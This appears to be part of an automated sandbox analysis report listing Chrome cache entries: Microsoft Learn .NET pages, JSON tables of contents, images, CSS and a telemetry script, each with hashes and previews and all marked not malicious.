Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

